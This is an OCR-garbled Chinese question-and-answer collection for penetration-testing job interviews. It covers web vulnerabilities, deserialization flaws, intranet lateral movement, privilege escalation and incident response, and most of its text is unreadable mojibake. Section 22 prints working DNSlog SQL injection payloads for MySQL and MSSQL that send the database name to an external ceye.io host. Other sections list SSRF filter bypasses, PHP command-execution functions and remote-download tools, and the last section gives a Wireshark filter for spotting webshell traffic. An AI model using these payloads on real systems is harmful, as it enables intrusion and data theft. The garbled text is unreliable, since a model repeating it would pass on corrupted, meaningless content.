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1. SQLIENIRIBaIHPSE? FofElle? Fidwie/RiE?

o RIE: 7ENUERET, BSOS ASISAMEN, M ESeEMTIgI
7, SETEHE NG EIE HERISQUESIS, H4IESQUEDI—EBAHUT.

o R S, B, R, IR, ER, BA, BB, B3, XFFE

. 165: [EEURE, PDO, ENFAIDE, FREBASIS, MEWAFE

. TRTEE: TREE—AEHESHARES, S REEEETN
1R, IS IRAISQLE ST ASTER Opcode, S RRELEEIE,
NASTE{OpcodertififF, TEEEIMERIENASE, KESHIULHLR
SREHTEIANE, EIHE T sqEENRIFE,

2 XSSRIFRRAMILE? X5l? 2E0R?

o ThK: FHERY, R5IE!, DOMEL

o X3 FHEELINTERESFIES, SEERBHFEEEIEE
o, BAWEE LTSRN T, REE: EHllfEurd, —REE
WHERAWEF S, WRAFRE, MAKENE; DOME: IHA
BfEurlch, AEHEE T NSSBHDOMIT A, BHISRM, FEMRET
#EIIARSS2E, MDOMRELER .

o B8 NWEAZUBHITHtmMI Encode £M8, EHREEILIE, @E)avaScript HHEY
R, FFEhttp-only, ZHEWAFSE,

3. XSS,CSRFFISSRFEX3I? (RE1a)

o XSS: B AW E ;

o CSRF: BubiEKINEHAINGE;

o SSRF: BRSZEFBERHERTE.

o X7l: XSSEIRFZFXTAFBANEIRSBEHTEBEITIR, SEEFinXlis
EERIRSEFHREIINtMITIER, HI T EHEZ MU AT T.
CSRF: CSRFEIRSS 25 2B X RARIEUEH THERL, BXthttpiEk
BAREreferFBRRIGAT, SEBHETLAFIAREFRCookieZRMERFIE
KERIEZEIRSSES. SSRF: SSRFZERSFEENAFRENEIRURLETEE, 128
W HERMHAIRU L TR EIFIE BRI, SEIEE v ALAULE AEKRIZ
HAR SRS EE.
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4 XXEiRwiR 7 f##15?

o XXEfmRBRIxmISMEBSEMNENIBIRE, R EEN FREFFTXMUBALY, JRBEEES
ERSCiRRIINE:, SEIINEEEIMNE G, SRR, T, MM
. EAMRLL, AiiEdosINEEFRE.

5.PHPRFFILE T #EI3?

o FIMHMER— I NRERMFRR, RFFIMNRZ, BFFFREHEIXT
.

o ItAh, PHPRFIWCNATLAESR SRR, —F T3, —ME3E, FTEF AR
HMER, MIRFEESEMANERTRFII, BRIIMEERANSGEUEFUL
EBEEAN. MEENREEMERRBEAS L, MEASERGE—NERN—
B, BIUNFEA TR SRAY, BishtA construct(),FHAT construct()FRIMA
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unction _ destruct(){]| FRFIEI TR 0.837s
e #r k& 2 .
T 8T 18 2l <br> ' ; HEE php? 1
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structigi@s
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a br>'; 4
nser = unserialize($a_ser); S.EFPHEEET wakeup

R
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T RIRBEIES ! '
6. ZIBUNIALE, RFEFER, MRT_destruct

o 5.1JAVARFIUL T #EIS? BB 7 iEdshriokFFL? (&R, Tiehwikz
TAFEmi)?

o JavamdifgObjectOutputStreamzEfiwriteObject() /5 &R LASEII RS, H
{EFIBISRERIRRF TR, T RFEHE &M, MObjectinputStreamz:hY
readObject()FZRTRFFIE, (FRAMEEFHRAIRKIISR.

o shiroFEFULEERApache shirot it 7T —  rememberfJ—\II&E,
PERNINRSERAITIIEFHRISAIcookie, RIFIENEEFAERFH
HEFER, mMiRSEEXTcookieAMIERIEM E/IRBUN S LR EFY
cookie, SASGEDs64FID, BIH{TAESHER, BIEBERFIINHITIR,
mimEREHIEXE, BiJEFBAESTE— MERE, TEFEAEH
B, MREFRSEERENEEITTER, BBEAIBAILAH TcookieEH,
FERNEENRE, REEERBHITFIIL, ARAESINE(ZHE
INEKIBEHEKT), BiFiTbs644mi3, FRFEIFhIcookie, MARSZRETE
IR SIRIRNIA B RE, MSERS AR IR IEIEREEAE,
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6. ZiEmRBEIEMLE, RIFEFERFEBHARE?

o BIZIERE: BN, MAEEN, XTEEEH, cookiel@hy, ZRIKEISE
SEEES

o BRNEAL: 1B, sessionBZ, sqliEN, xss, FEBFEM, sXE4EE
BRMEE, BERIE, hiEE
B, TXEN, BIREANSES

7.CDNFIDNSX5I? CDN&E D BEE?

e CDN: NEDAMEL, FE(ERAHMEILAFFIDARNEER, EeHNEE,
BERAFEMI L3R,

o DNS:HERERSE, TE(FRMESEZENFEMIpiEil,

o CDONGIRES: Fiai, AEPHME, BRS5IZEZER, Eibping, IERKRDNSE
18, appiliE, BCEAZHIME, HEM, DOSIKESE.

8. % MAYhE R

e IIS: PUTIRIR. EXHREMR. =B HRT. BiTREE
Apache: f#trimE. BREHF

Nginx:3Z{4#tT. BXEH. CRLEEAN. BRFHE
TomcatimfEUREHIT. warlgl IS4EfEE

JBoss: AR, warfal I3 FEREE
WebLogic:RFFIEIRTR. SSRHEEIE EE. warBI IX4EEE

9.WAFGZRIFiZ(RANEMLE?

o XEMUUSqEEANAM, N=AEHEERRE—TFFE.

o TIAERMER: HEIRSELIP, EMERST, httpFihttpsREIRIFFERS SR
o, NWEErRmRF RS,

o 2\MMNRE: DUREREH, FMApiplinestd, FIRMIKEBESY, POST
N GETIRAR SR,

o SMHINER: %Y, SNFTSERERY, SEIRIANSER, RPXin
tH, mysqBEiL, BREMRFSHRFY, HSIGE, SR,

10.ar S TR ZUITFZR?

o ZEIE: FERTFIHT, httpiEXiElT, DNSloghlAH, BEAZRIBR FTHEES
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11.3389%iK AT EEZRI LB R?

o 1.3389KIANE, 2.mEME, 3FOKEER, 44T ARG, 58T TIRS
AR AEEL, 6.BERRE R, FERFER.

REEBNKOGR?

o 21: FTPI{H{EHGIMY

o 22: SSHITFEEZE23:

o TELNETIZFEER25:

o SMTPHB4ARSS53:

o DNSIHEZ RS

e 80: HTTPEBIAEHINMN

o 443: HTTPSZ LB AEHEINN
e 1433: MSSQL

e 3306: MYSQL

e 3389: windowsitfEREIRSS I
e 7701: weblogic

e 8080: TCPHTTPIMYAIEARSS=S: Apache-tomcatEFiAimES

13. 2 ENHXATFE? (EFEEEAC)

o B—uh: FoFIMFEICCON, B ESLp, TTHNEREE, Bk, MRS
CMS, EEFERHAFIEH,
i, ZeEE, BNHTRORN, BREOE, SEMGRsXYG, FE58
SEHRMEEIME, KIKE
ERiIRBapp, AREZENFES KE~H, ARMNERIRERHITERRY
IR

o MERE(XIE: fEAgoby TEMR T —MtENAME, #EITR, REWd
B LRSS Rt TR RN

14 ARZERR? REEL=MISZiERR, LRk
EEH?

o ZiERAEEHTEFEENNEEBASR, SH—EEEI I EHBIEREL
HEEREEIR.

o EX(YimARG, RBREEENMBIENR, XIRHEN, HESKERH, 1TH
iR, xIEO&H%k, OEAAN, sIEFSE,

o EEFRKIR, BENTER, EREHTRIIES.

o ERFKEIRETEFE: 1) BEATEOWE. 2) FEEREKREIZIE. 3) 7
DB IIELE TR, 4) HEIFIETUE=E5RE. SMAERRF&RERLAZ: 1)
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SNEEEWE. 2) Cookie {5E. RE(EZ!Session 8¢ Cookie BIRI{HIERFS
9.

KSR EE: 1) WIEBFEIHAR. 2) RIS aLAEE)avascript 8
ENEN G AR TS,

15. KIBRUB MR T LARI BBt 505

Redis KRERHGIAIREE

RFBINE, SHAIUBEEEERIERERE,

SNETEIEN AR sSh N SBFNFASE, FIRENT,

REBERNAHEEN, BFIBFARIEE.

JBOSS KFRHiAlmIE

ihiaip/jmx-console FERTLAN S jboss HEPEEERMSEEIR, FAEEMARF
BAFEE e LB S EEARD,

BRI EN R L ERIEAT R SASNE T BFRIERAT, FEALE
EinnRReEREFEeHARIRITIHE.

16 12— KiREiR?

fLfcbljava FFIX LSRRG shiro, fastjson, weblogic, FAkoaEEHITH]
=, BEEEIEMESSUSITHENR. EjavawebfZFiz{TEBRIUSNIRG

fRiz1T, EBOAIRESPEN.

17. B EALEZMshiroizwiEAY?

BB A ESIR[ErememberMe=deleteMe=E&8 & {EEshiroScan# s
=R

FeR:

FEMHBERT, BEKEBRIcookiedigBrememberMe=Ez, IR[EIEset-
CookieEthigHdeleteMe=FER

BFHEMANE, AEQERememberMe=xESRE, REIEEELSE
rememberMe=deleteMe=FE&

ARaiERememberMe=Es, EfhpkINRYE, REIEset-CookienH
rememberMe=deleteMe=ER, BRZERFIBIEKFCookieEfAaEB
rememberMe=fE&

AikRememberMe=Es, E[HpINANE, IREIEset-Cookieed
rememberMe=deleteMe=ER, F*eHrememberMe=zEs, ZEHFIEIEXT
Cookiegf&BrememberMe=Eg
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18.weblogicifRE%D?

o BITFHSRIERGUINPRIGUE, FhLHEEREIERERE.

o EHiEK.portal , f=HILIERIServiet 2IEFUIN
MBeanUtilsInitSingleFileServlet ,

o BImIBERY./ , IIEREERRIEMZconsole.portal .

19.fastjson;R&iFFI HIREE?

o EEkEEREEPRIFEENjsont&H payload, JRREELIEjSONSTSAIAHE, I8
BXIetypeFBRHITIHIE, NMESHEETLUENERENTemplatesimpl3g,
MIXPNEE— N FERAE _bytecodes , BEPDRESRIBIX _bytecodes &
FYjavasLfil, XmtikZEfastjsonBIIFEIEN—NE, BIBDXMEWEMATH
1THIIEREL.

20.£Z)webshell A HMER FEAL7?

o reg LIEXRIEMIER, RUHMINY, dns, icmp,

21.PHP (IS ATRITCPLEREN? PHP apSHITIEREL?

o PHP SREHITHIGIERREL: call_user_func(). call_user_func_array().
create_function(), array_map()

o PHP S HITEREL: system(). shell_exec(). passthru(). exec(). popen().
proc_open(). putenv()

22.5q1 FEANEEIEMIERT, FIA DNSlog, mysql T
FIRMA13:E&M18? mssql TXXF?

o RBERIEMERT, —MESHZA, HiTEmMUIEAN. BSIHER, BFXE
NEE, BZWEIP, afLASHEEEKIRE, BRENIGERARIEEHITE
K

o LEATHATLAERIDNSlog i, [RIEMEERSSRRENERBEEREF, Rig
IEZEYDNS BRI EE, RBVEERER.

e Mysql FF|Fload_file() ¥i&payload: 'and if((select load_file(concat('\\',
(selectdatabase()),".xxx.cey e.io\abc'))),1,0)#

e Mssql FFJFEmaster..xp_dirtree #¥gj&payload: DECLARE @ host
varchar(1024);SELECT @ host=(SELECTdb_name())+'.
xxx.ceye.io";EXEC('master..xp_dirtree"+@host+'\foobar$");


af://n174
af://n182
af://n186
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23.phpmyadminEsehllfd5i%?

o EHIS Ashellf9E(E
o —JiESHshell
o HEZRMNDIAEshell

24 XS R

o HFC/C+HHESIRBHEHBFICENG, JMEEEEARPXBEENRIEIERD
RESEHA/NT, MeAERPXiEH, REEUFBRPXGEHRESIHE
=T, WM EFREERR, BUSHERFBER, BENRFEFEREIE.
ELan=E1000, REAN1500, SH 7500, EFRI1007ECREERMP, RIT
400/2shellcode, AB100FTIER)MPHkZEIshellcode, ARRGEER.

25.SSRF ZEF 127.0.0.1 [RRIMaISEd, SZISMREEADIN?

o (1) FUFEHFIEER

(2) FFBDNSH#ET

B3)FAEES (127, 0, 0, 1)

(4) FAL:] (http://[::1:80/) ;

(5) FFA@ (http ://example.com@127.0.0.1) ;

(6) FUFBSEHbHE (http ://dwz.cn/11SMa) ;

(7) i (Dict://. SFTP://. TFTP://. LDAP://. Gopher://)

26.phartiNaIFIR, phpfAiilinputSpostiEe
LEBTAK3H)?

o ALABypass—¥twaf, %eid H{ERRE!

e PharF5IHt, Phar:// fRthiGERpharXi4hY, SRFSI{Emeta-datatEiz

e X3l

o application/x-www-form-urlencoded &¢multipart/form-dataRy,

php://input FRE2/RIAEIE, $_PosT hEXELEHE, BigE HERHENR
=

o enctype="multipart/form-data" Bfphp://input 27589,

o Content-Type = "text/plain"fJ, $_POST A<gE3REXpostRIZIE,

php://inputd LA,
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27.ssrfEZ Hredis5shell?

» SSRFERSZImIEKINIE:
o —, XA, FKEbanner,
o Z. WHIEITEAMMINA, TZEZ2[AGET SEEHEILASSIIAIGE (Ekal
Struts2, sqli%) .
o =. FIRBMGEEAMI (1,
o MU, Z=ITHEINRAWS Google Cloud IRERTLAERAMIER{EECS B9 API,
o webligic SSRFEiE: ®IESSRFAYgophertSIRERMEIredis, F)BredisiEx
s#ishellE A\ crontabTERHES, urlmil, B\r=fFEEHR%0d%0a,

28.sqlmap B HIFSREIEML? HRESZE?

e 1. apostrophemask.py : §5|S&#AUTF-8 BFIIRE5|S,
e 2. basebdencode.py :Etgbase6447tI,

e 3. multiplespaces.py:El%eSQLKEFRINZNTIE,

e 4. space2plus.py:F+S&IRATIE,

29. SVN/GITE(iE;tEE?

o TEfEASVNEEANMABERES, SEMEM—IE.svnRIBENGR, Hf
BEEERIRBER:

o [ERgItIITHRAZH, MubmBEaIHE. WREEFS, URESK. gittUkE
EEPERS EINR, X5 [ T gititERiE.

3012HURTRRIZNIS? udfiZBVEEEHA

o BudfMHHEHEEME (Mysql>5. 157 EMysqltE B RAJlib\plugin 34 T)
o MudfSZ{FF5 | NBENX HE(user defined function)
o HITERENEREL

31— iR AR ENRER

e Microsoft Exchange .Net FFHLIZFEABH1T(CVE-2020-0688) : 1ZimiAEH
FExchangef=HlEiR (ECP) H{4FER T F#SE AvalidationKey#(
decryptionKey,

e Apache Tomcat 4B EBRE(CVE-2020-1938): BRIAIER T, TomcatE&FF =
AJPIE#zER, TomcatfEAIPIMYAISEI AR, SBEE BT RIXER
HUIEK, Al LUZENERE B 2 WebiRBR FRMERSUF ECE X L&, BSEUER
RIBHAT(RCE),

e Weblogic IOPZFFILIERE (CVE-2020-2551) : weblogici M B{EAIIOPH
W, BTz EFERERWebLogio T2 IBHIITAIE.
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o Apache SolnZf2EHAT (CVE-2019-12409) : ERIAEZE Z{4solr.in.shEE
B & S {4-PENABLE_REMOTE_JMX_OPTSFEIERABR EA LS AR EFRBIALR
B 1BEAMX SRS FHEIT AR Y50 189838IRM I O, ToF{HASGIE, AL &) MX
RMIZFECESIAAT.

e SHIRO-550 o timiRE: shiroERIAf#EFE T CookieRememberMeManager,
EAMEBcookieHIiiER: BFIrememberMeficookie(d-->Base64fi#i3-->AESHE
>RSI, AESHEIRMERSERISE, MO T REFFILIIRCERR,

e SHIRO-721RFFFtiRmIRE: AFEkey, FIFIPaddingOracle AttackigiEtH
RememberMe=ZEREERAMBELE S S ZRIRememberMe cookieRI RS2,
iZfMEcology OA SQLIENRIR: validate.jspiEORISQLIE
A, /cpt/manage/validate.jsp. iZfecology OARGHENFIEEURER EER
% /mobile/dbconfigreader jsp, AN TEAS FIDESIIEE LS ATELAD,
FADESE I ZE S TRImASHIkey HATHRE

e Confluence 7 # 3 14 ittt 8 if% i@ (CVE-2019-3394)catalina.jard iy
org.apache.catalina.webresources.StandardRoot.classiigetResource75iAHY
validatefFEILIEFIRE], FrlARIEhESZIIE/ WEB-INF T,

e Apache DubboFFILIER (CVE-2019-17564) : HTTP remoting FFEHI
iR, FERFFILFR.

32. 7 g REtiER, $3RIBILE?

o |[IS:
1. EMNILEER asp. .asa FAYHEIY BRERISHETE S ET AaspHIITE
BRaspF, XXOIARSEARET.
2. £IIS6.0L, 5; FEAIAREIT,

e nginx:
1. EMuEER eI HFdemo2.jpg, AISHEXIEEES & i3 (8] http://192.168.1
1.131/test2/demo2.jpg/aaa.phpiRBEXHEKRHABTENGE L. NginxE
BISHERR (BRAANRIZRURI) /test.jpg/testphpla, —BREHKRZ php, &
INZIURphp i, #adtaphpEALE, php—&/test.jpg/test.phpAfF
£, EMERER/test.php, NE/test.jpgtFiE, E/test.jpgXMERITHIS
H7, XEREER.pg, phpASIXARphp3fF, FRIREAccess
denied.”,
2. OOFKHT

e apache
1. Apachef#i ) 4HAIRMERIZIRNARL S
N, BEEBEIB SRR AEE%



af://n306
http://192.168.11.131/test2/demo2.jpg/aaa.php

33. 80— 1 mysqlERENE, RE—/180ixOF?

B TR0, iREEHEHE. WESE. 3306imAARIINFIL.

34 ;ENBELAARERand @or @xor, Eiforder by
FIaiEAE?

e and/or/xor, BIEAY1=1, 1=28BRAZBNATHIMEBT IR, NREELHEE
PR = o =l Y ST i 2

35.fEAshellfOIERT, MARRxssIEIA EIRIEHK
RIZHI?
o FEERUMIN—RICRERKSEBNjs, FEAMESERAT, WRERMN
11, HEKSEBCREI— M EMIE RN PeE B A EIB CRIRUE S
. (IWTEEEGRNMEFBFERNEZHPRAINE).
o EEREZALUGRBISAFRBAXSSHIZA,

36.BfruAFChAiR, LEERTILAER AR, LSRR
sUiGIEN403. A RE?

o FHERE, BrstwebiRSHREEC LEAREIL F AMUTHENMMA, ZidsE
a5,

37.access A E&E HaspRIEHREESY, IGIELES. &l
(RISCIRE A $thFUFE?

o METH, BEHEE.mdb,

38. X FAeEEE HEMABE RE@EImSITHRT
shell, BLiZEA7?

{Ebitsadmin {7 &

{Epowershell #1TFE

{sEFcertutil FH{TTE

{EFAWGET #17 & https://blog.csdn.net/weixin_42918771/article/details/1
10394116



af://n314
af://n316
af://n321
af://n327
af://n331
af://n335
https://blog.csdn.net/weixin_42918771/article/details/110394116

39.shiroAHEREAFIA?

EMWebBERBE A4

IR

NEFS
FERERFREN Web &2 5 Awebshell

40. 4B & Getshel I EBER?

https://www.anquanke.com/post/id/248627

41. 301 LRI WAFBER?

https://cloud.tencent.com/developer/article/1944142

42.xssHIPGIRTT EBIMLENE? httponly4Eid?

BN IR

AT =LA

£ HTML

CVE-2012-0053,

PHPINFOTRE (2NRBIRMuLfFEPHPINFOTRE, FEJLUEIE
XMLHttpRequestiEKiZIUEIREX CookiefSE ($_SERVER["HTTP_COOKIE"]&
FTEDHEShttponly/EEMIcookies) )

iframefEZRV& (BEIFEMA—MEEE, =&EHFE, BESRBIR
H) . BEEEvE (BEWLENE, EREENIIAaRNHE, FEEEEENE
uh)

AEERE (BEjs/EEREE, HiRNEEEEN, HLIERBRNEEsICER
[BSEERS)

—. TE%® (6)
1.{FERANEEIRorkiATR?

BIETH: msf, cs, nmap, slgmap, dirscan, burpZ

e J®H3: xray,awvs,nessus,appscan

2.sqlmapHi--os-shel Y [RIE K FIRSFRH?

FIFBSKAE: rooti R, FEAEITIRIR, GPCXH, Secure_file_privBEATEE
FIEERRR,
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https://www.anquanke.com/post/id/248627
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https://cloud.tencent.com/developer/article/1944142
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o FIENE: FIEREMIVREE, SEFI—MEMERAMRN, AELEEshell
ZIBtrwebMub £, FAshellfeZiiTan<SHiT, BHRIMERshell,
o SREUEEARR, BEFGAR, WJ!II]Sqlserverﬁ-aEéﬁEF FFINE, EiE

P BRASATR, EEFIAxp_cmdshelli @i Tar<SHAT.
o [FIRMREIOHT: https://xz.aliyun.com/t/7942#toc-4

3.FERISKIPSERAMETR? BISARFA?

e nmap: ImMARSIHE, BERKRERL

e dirsearch: BRESEIH

e whatwaf: waft@iiiRE]

e WFuzz: fuzziilhiz

o EhYIEBURABorwappalzer: cmsKkAHEMFFESEME

o LA

4. HH. LA LFAwebshellEEETH, B{iIatHRSFAR

F=?

o HHEIR: #Rwebshell EIEHTEH, #XRMBHIREC/SIEE, E&RYshellnS, 4
AZFimAC,

o KNEMA: SCHIXE!, ID%E%;H— 1§J§D/7kmqﬁ1}|uiﬁﬂ§ﬂu‘§o

5.8 28 7REERE mE2IRE? (BriEEa

{5li%ER)

o MEBILVRAZNSHRA BEES: R, =B, BE. 360, RER. #
=, 50, FREEE,

o JENISH: FhEE=A02ERIBA: https://v.youku.com/v_show/id XMzk4NTc4
NDM4MA==.html|

o HftHBECHIK, SHERENABREZ.

6.nmapFERASH, H—T?

https://www.cnblogs.com/Vinson404/p/7784829.html

ARIEE (19)
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https://v.youku.com/v_show/id_XMzk4NTc4NDM4MA==.html
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https://www.cnblogs.com/Vinson404/p/7784829.html
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35T O AN 4
1. EBEEEGRSHITFER ?
e psexec, wmic, smbexec, winrm, netuse EE+1¥{ES+typedn<.

2.psexecFlwmicelEHEtAIX 51?

o psexecRICRAEHE, wmIcARICR FHE. wmicEAkSH
3.DcomBEAIR(E?

o j@dpowershelliiiT—&£m<, MIIETDLRER, NCET

AMENZBHIERELM?

e procdump+mimikatz FfEAfE AmimikatzE £ isEEY

5.1t 2B Z IFIMAZIEFS?

e windows server 201225

6 MAZIRIEEZT?

o BFNHEKIZHEFERRICRED,
o EiEhashi&ik,
o HEREUN RIS ERESS,

7. BANELER T #EZ8?

e MS14-068, RoastinglilihBLIRRES. DRKE, IFIRMERIR. EFRR
ARZEFIR, ntim relay,

.RHAEERRIE, BEMSIEMNTEAM?

o RN EsystemiXR, AREFBETE, HEEBEHFHHTLTEERAFNIS
5, MEAFKEZAFPIERFIL.

9. RS iE B RE?

o RIEZFE

o IPRYERF
AIZIEIStES
o OB

o EHEEIEX

o #T

Usi|
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af://n439
af://n443
af://n447
af://n455
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af://n463

10.5RIH= LB—1EBEF, ENET

TR BIE
ST

ffEfhashcata Z B2 IBIR T EiH TR0,

1. 3RENE=RIT5 AR IREE?

SYSVOL

MS14-068 Kerberos
SPNi3#&
HEEERERER
AR S M SRR
SR

NTLM relay
kerberosZik
zerologonifwifd
MR AT DY
CVE-2021-42278F0CVE-2021-42287

12. EESENRRSRER—T?

13.WindowsiR4ERF? LinuxiNPRYERS?

14.shellcodeBE T HE15? BHLLRX?

https://www.jianshu.com/p/4936da524040

windows: https://xz.aliyun.com/t/8095

linux: https://xz.aliyun.com/t/7338

https://xz.aliyun.com/t/7170

15. 15BN IE?

Fr R B FEE

ENFIE

BEXEEEA (MBE. BEEHER. &
ZROZRAR)

BRAFER (EAI%E)

MR ENEIE

BloodHoundTHE

. B

Z

&

A73?
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16.XiEE L E AN T RAMLL?

o frp
e Neo-reGeorg
o ssf

17.Bf5HNZEping R@EIMN, RBINEEMLZENY, 0
(EERE?

o FEFEE T webshelllUAMEEIE: Neo-reGeorg, pystinger

18 WA REERINIE, NMBE=MA?

e https://blog.csdn.net/weixin_43939009/article/details/118277688

19.pth, ptt, ptkEX5?

e https://blog.csdn.net/Waffle666/article/details/120268915

Y, HEREER (7)
1.1 —1 OSHEBIFNTCP/IPIS R E?

o OSHEEL: \TEIEAVIBE, FIEHKRE, NEE, EhE, 2188, JX
B, MEE.
o TCP/IPEHY: NTEILEAMEZOER, NEE, EHE, MAE

2.TCP/IPHI=ZRIEFHIMXIEF IR, BATLERX
%2

o TXEF: JFFImERRSEE BRSNRSSAE—SYNE(ERBRE
17), ZNAREEULIEER, REFURETEE, HREE—SYN+ACK,
ERREIEMEREE—1MACKE, EEE, RAEREERE T =844E,
FTLARR A =IRIETF.

o MRIETF: ATERIKSHEFimEE RS S[BULAKEXDEREK, RigE
PinEKEXRAEK, BATRARSmAIE—IFING, RREEXDE
%, BEHEARLESFFIRIRSE—XETF), RSHEEFNEZEAE—E
ACKE, FRFECHAXRAFEHAINS, ERIRHEANRIEFFRREEETXE
F), IRSBB|/XEHRERT LURERAIZNEE, ERRETLREETE, F2UR
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FinBrEIERETE, PIEFHLE—IFING, BEEHARERARSEE
SRIEF), BRIHKEIIEEISE—MACKE, HSHNBITEEHAT, NGB
BSXTERE, TIREZISKBIACKESSENXTEE(EIRIES),

o FA: ATHAMEBEEATENTRM, AT EBEATENEE LEEnE
HOZESE,

o —EAUREETCP/IPHIMYIN=RIEFSINKIEFE—EHS, B https:/b
23.tv/5md739N

3.fAHipaYibliLR53?
. HR=H

o AZ%: 10.0.0.0——10.255.255.255
o B3&: 172.16.0.0——172.31.255.255
o C2%: 192.168.0.0——192.168.255.255

4.UDPFITCPIHYAIX B B TR =2

o UDPIMNEETIRERRY, AXHEMEBEIERRREER, RahMERHE
Bie]., #REZEFRENRES LRIERR, FURAMEMeEEREL, FRAR
2, REFEREMDS.

o TCPIMVUEETERR, HEURCKEIRERIGIFINITSEAIRATER, EIIERR

IRBEF. WihERNAXEF, FEEECETT TIREEM. FRLRHEEERE
EAEE,

5.JE[@ShellflRMEShelXBIEHA?

o IEmshell: INEEEZEWNER, TRTREELTAMN, HIREELT AR
R,

o REshell: HINEEEMERK LS, TRTHEELTING, HINEELTH
RIRYIEITE.

6.IERIEH RAERXAI?

o IFAME: HEFIHLEHRINIERIEE({GIa0goolge, youtube), BILUE
E—MNEERIEXENZATEIE,

o FINELTS: ARICEER, AT —WiEBRAsEEERACESR, TRART —MNE,
Bt BEMAICHES, XHBMABARCHES, ARSEITCRYtk, CHERRIBARIE
£, BRiZX TANRIEANSR,

o RAMKIE: EFIRITTERAIBNGE, URIEIRS e kE internet LAYE
¥, AEBEKERENEMNE LIRSS, HMIRSSE LERINERRELS
internet EiEKIERIIE i,


https://b23.tv/5md739N
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o FHIXFINELTS: ARBEH, BIREEBECH, MERETECER, 22k
[EBAREAALINRZEBRI, fbFAANECRIFIE,

()=l J=x(c)

o EAMEER, ERANETLLXFLIE

o ERRE: SEREFRTRN, BIXNsOFA— N ERRREE, BCE
s CEENEBAAMNETR. BERMAL—RLTDMZKEAR KiE=#,
T REERH NI,

o RBNE: HAMENENRZENRECIEN S, AEAEEETRRRAN
H, flan: vPslfAtiml, ERRMIRSSSRERIEO, FEa— T HE.
INERARIREFIEZINN, BAiEERRREEREE DA,

7.5 WA IERIFRSE?
o SN ENTIEIAAEE, RIBRKEE, WA

. ZF(windowsBlinux)GH&ERE (10)
1.9 FE T RIS B IR ER 5?

o (EMuriE&E, WK AKE, [EEAwindows, ARIEEBRIAlinux

o pinglRSEEE, IRIFBTTUEARA—RE, windows—HZTE100LA L, linux—f&E2100
LR,

o BEHIEGHTTPHRL, WNRRisHHEREEwindows

2.windowsHlLinuxBE&H s OfIiE1TIRSHGS?

e windows: BEIROERER [netstat -ano) , BEIETHI IR S [ net start
] Linux:

o BEANIFAKIRA [netstat -tuln)] , BEEZFIFMEEITHIRS [service -

status-all | grep running])

3.LinuxBEBZR?

e /var/log

o windowsH TFEH 4RI SHIMLE?

e certutil, bitsadmin, powershell, copy

e winodws FEHITHSKE: https://xz.aliyun.com/t/1654
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4.windowsEglinux#HBENRBI I, H—TIRAVHIE

TE?

RERFATE, MERSHF, EERGEFENRSAR, REREHE, &
B, MERERFEXG, NMERFENGRBY, RENES, MERET
WES, RERGREI], MERFKS.

5.windowsigt G E R BEIE?

RAENZEHEN;
BUREERA;
BEIRNRREERY;
DLLENFEAY ;
R =T i or RSN ;
SHESFEURN;
webHRE/4HRmIRIRIN

AT, SC, PSIRINES,;

6.LinuxiZiNRY B IR R 7 A B Le?

EFNZamm HIRAY
SUIDFIGUIDIERY;
AREAENEZRERN;
TERMESS RN
RN

7.windowsjIE 7Gx

&23389%i% M

RETEHREE, ARIFSAMKKFRERKES, ~RF
SAMRKPFIHZ=RIEZ 2
EARETZERIDAAFMERREETR
FEEZShE, FEREZERRSHE, FE®H
A RSEMH

2 F445i% ORI

RERR P EIR SR ERZERP
IREWindowsZ RS : IREIBVNAHESESM, '
EEEKER/IMENSN, RIKFEIAAI30X
FEWindowsFaXiE, XiHFpingfkss, FJFF3389. 80
ERS

RARFEALE
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8.Linuxiil@Efs;%?

o (BsshBIECE 4, ZltrootBEER

o (BEIDRISEE N, MIREREHIMKE 8L

o MIFREIRERIK, BMELMF5o

o EIFsuIRERN, RAiFrootilwheelBAFsuZlroot
o ARIFRICMPIEK

o REEEATHTIEI 100

® 5 %ﬂElf iﬁﬁ)ﬁl

9. ASHREMNHABMLE(EMEHBIEHEARS)?

o JEMER

RS
BExBER
5115
RERSZ (2B
°« FH......

7~ MRIMRCEME (10)
1R PR R SR A

o MILIBIRIX: https://x.threatbook.cn/

o TIEM{SIBERFUL: https://ti.gianxin.com/

o GFEAERA(: https://nti.nsfocus.com/apt/home
o EHF3COFBEIB/IRFIL, VT, REFE

2 SRiRBAALIE (BF) ?
S ==enl

. E%ﬁ%*

o 1THADM

3. tﬂﬁﬁézﬁmiﬂim,;.uaifﬂ?ﬂ]m =7?

o TIEARE: REST BERHESATES TNEE, HEEBKER R0
TEA—H.
o FLnE: RZAERERZRIR
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4. AMSEERIZINALE, HEREAFRN?

o BREMEIMENS, RENPRBEENRERE, FTHERANT.

o FlAwebshellZi®&EshelERTEEXR, EEtMpERTRIFEHBERRIIK
O, MEEk. BRISHRESTIWIFLEE, RIFESTHMAEE. 22K
ipZ BRI RY—LRuh B E AR, thiN3e0eiE ML L, BEERE (R E
M, vpsikiR, HEZRERNMA=EN. WRENMAZEN, HaTLlBEEwhois
BERIFERIOYENER, SESHEERIMME. MEmMEZEMa LAREIH
qqSE), BREBEMIERRFNS, 2— P R0MuLExIER4G L&
ENFHNSERE FMIH2aML, FJURXEMGESEENGEEN, X
A LAZEIRXRNMNLEERISMIE, R, HihxXeT

5. MR IR R R R ?

WEER: HRERBNEEI, HAMER, UR—EEFER.
FIHTRE: RRRREFM? BRI AREEH? 25?7 DOS? &,
RS NRGEBERADHNT, BE, #E2, BalxXLEEDH.
BIEAE: REREHE, WRBREIUG, FIANTSEBERRGE.
RS SR ZESHHH T TEASEEIA,

6. WERATATHE?
o EESVKEEORELA, RSN, 00, STAHBRKETS, RS
i,

o EREMNAEMSSEDRNINETH, RFRENTRE.

7. PXEEFFENXE— M RFFIREIR?

ME, RFEFHCHIEIEEERESIAIFRE: Olength:"value"BIHEL: {BHEE
B Etlength:Etfvalue; BB B length: B4 value;},

8. MR MRIMIEIIZH ms, WTETHIERIISE
X{§?

(1) {ES BT netstat -anp S B HEIHEPIDEIR SR, AEREROEEEMNE
X4, cd/proc/PID (Is-I&EE) , ZFEEEAIRSIN,

(2) windowsiAAT LABwmicotmHFESEL.
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9. MAEEBNZERIIAIES?

e History

10.sftp, telnet, sshiJizS? ssh5telnethIXzl?

o sftp: 22, telnet: 23, ssh: 22, f@EKY, sshfltelnettIXEIFME— 2R
SRR, — N EIANER.

€. WFESHRESER (6)
1. YT E LB I IP?

o BEBIEE-RIT-XYIEEERENERER, &AL
AJEERYIPIELIE,

o RIEEAEFIRYIPHENE, =iHXT EERwebshelliFH{TE
{/ip.addr ==ip &&http matches
"uploadleval|select|xp_cmdshell"&&
http.request.method == "POST",

e B E|Webshell F=MIRBRANME,
http.request.uri contains“webshell.php”, EfIZIEFF
gawebshellH4TEK_EERYAT(E.

o RIESFTIRAIHTTP LGB EE HttimRIS T ENlE

A,
